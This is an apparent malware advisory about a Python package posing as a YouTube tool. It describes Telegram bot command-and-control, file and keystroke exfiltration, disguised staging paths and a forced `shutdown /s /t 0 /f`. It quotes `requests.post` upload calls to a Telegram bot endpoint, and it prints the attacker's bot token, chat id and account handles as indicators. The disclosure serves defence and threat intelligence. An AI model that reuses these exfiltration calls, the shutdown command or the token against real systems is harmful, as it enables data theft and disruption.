GCVE-110-OSM-2026-11041

The package's module polls a hardcoded Telegram bot (api.telegram.org, bot id 8871201315) for commands scoped to a specific chat and topic. On matching messages it downloads a video and forces fullscreen playback while blocking keyboard and mouse input (via keyboard and pynput hooks), kills explorer.exe, and for the /YoutubeCD variant executes `shutdown /s /t 0 /f` to unconditionally power off the host. The bot token, chat id, topic id, and staging directory components are stored as base64 literals decoded at runtime by a helper function; the staging directory is placed at %APPDATA%\Microsoft\Crypto\RSA\tools to mimic the legitimate Windows RSA key-storage path. At import time the module silently pip-installs undeclared runtime dependencies (requests, keyboard, pynput, psutil) using CREATE_NO_WINDOW to hide the console, then downloads yt-dlp.exe and deno.exe from the mutable `releases/latest` GitHub URLs with no hash verification into the disguised staging path and executes them as part of the remotely driven command chain. pyproject metadata is a placeholder (`Your Name`, no email, homepage, or repository), consistent with a throwaway anonymously published package. The package hides code for exfiltrating files, recordings from the webcam, screenshots, keylogging. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-minecraft-ytreceiver Reasons (based on the campaign): - spyware-like - files-exfiltration - uses-telegram-bot - keylogger Judge assessment: This looks like a spyware/infostealer package operated through a hardcoded Telegram C2: `YoutubeGood.py` embeds bot token `8871201315:AAF1oL29fTKFG4B40PeoiHtBEkOC8oJUek8`, chat `-1004344315662`, and sends data to `api.telegram.org/bot{BOT_TOKEN}/sendMessage` and `sendDocument`. The code explicitly collects user files from `C:/Users/{USER_NAME}/Pictures`, zips them, and uploads them, while also muting output via `stdout=subprocess.DEVNULL` and wrapping `subprocess.run/Popen` to hide execution. The repeated `subprocess`, `__import__(import_name)`, `requests.post`, and anti-analysis `os.getpid()` patterns across `YoutubeUltraHD.py`, `YoutubeVeryGood.py`, `YoutubeWell.py`, and `ytreciever.py` are consistent with a malicious command-and-control downloader or exfiltration toolkit, not a normal library. The OSV advisory’s claims about Telegram-driven remote control, hidden staging, and malicious payload behavior are corroborated by the actual exfiltration IOC and file-upload code in the package. DESTINATION - 10 exfil (telegram-bot, custom-c2) - 3 c2 (telegramUsers, telegramChats) (values recorded in verified_iocs) EXFIL - Environment Variable Exfiltration in src/youtube3_1/YoutubeGood.py: "os.environ.get("TEMP", "/tmp")) / "leak_temp" TEMP_DIR.mkdir(exist_ok=True) PICT..." - Python File Upload to Remote in src/youtube3_1/YoutubeGood.py: "requests.post( f"https://api.telegram.org/bot{BOT_TOKEN}/sendDocument", data={"c..." - Python File Upload to Remote in src/youtube3_1/YoutubeUltraHD.py: "requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendVideo", data={"chat_..." - Python File Upload to Remote in src/youtube3_1/YoutubeVeryGood.py: "requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendVideo", data={"chat_..." - Network Request in src/youtube3_1/YoutubeGood.py: "requests.post(" - Network Request in src/youtube3_1/YoutubeUltraHD.py: "requests.get(" - Network Request in src/youtube3_1/YoutubeVeryGood.py: "requests.get(" - Python Background Thread Execution in src/youtube3_1/YoutubeWell.py: "threading.Thread(target=send_keys_async, args=(keys_text, True), daemon=True).st..." (+2 more) OBFUSCATION - Decoded Base64 Content in src/youtube3_1/ytreciever.py ADDITIONAL FINDINGS - Shell Command Execution in src/youtube3_1/YoutubeUltraHD.py: "subprocess.run(" - Silent Process Execution in src/youtube3_1/YoutubeVeryGood.py: "stdout=subprocess.DEVNULL" PAYLOAD FILES src/youtube3_1/YoutubeGood.py (+ src/youtube3_1/YoutubeVeryGood.py, src/youtube3_1/ytreciever.py) TELEGRAM THREAT-ACTOR INTELLIGENCE (live API enrichment): Bot @YTtrollbot (id 8871201315) Bot @webhooksendbot (id 8315064471) - 1 chat(s), 4 total member(s) observed - Threat-actor accounts: @swissguy67, @webhooksendbot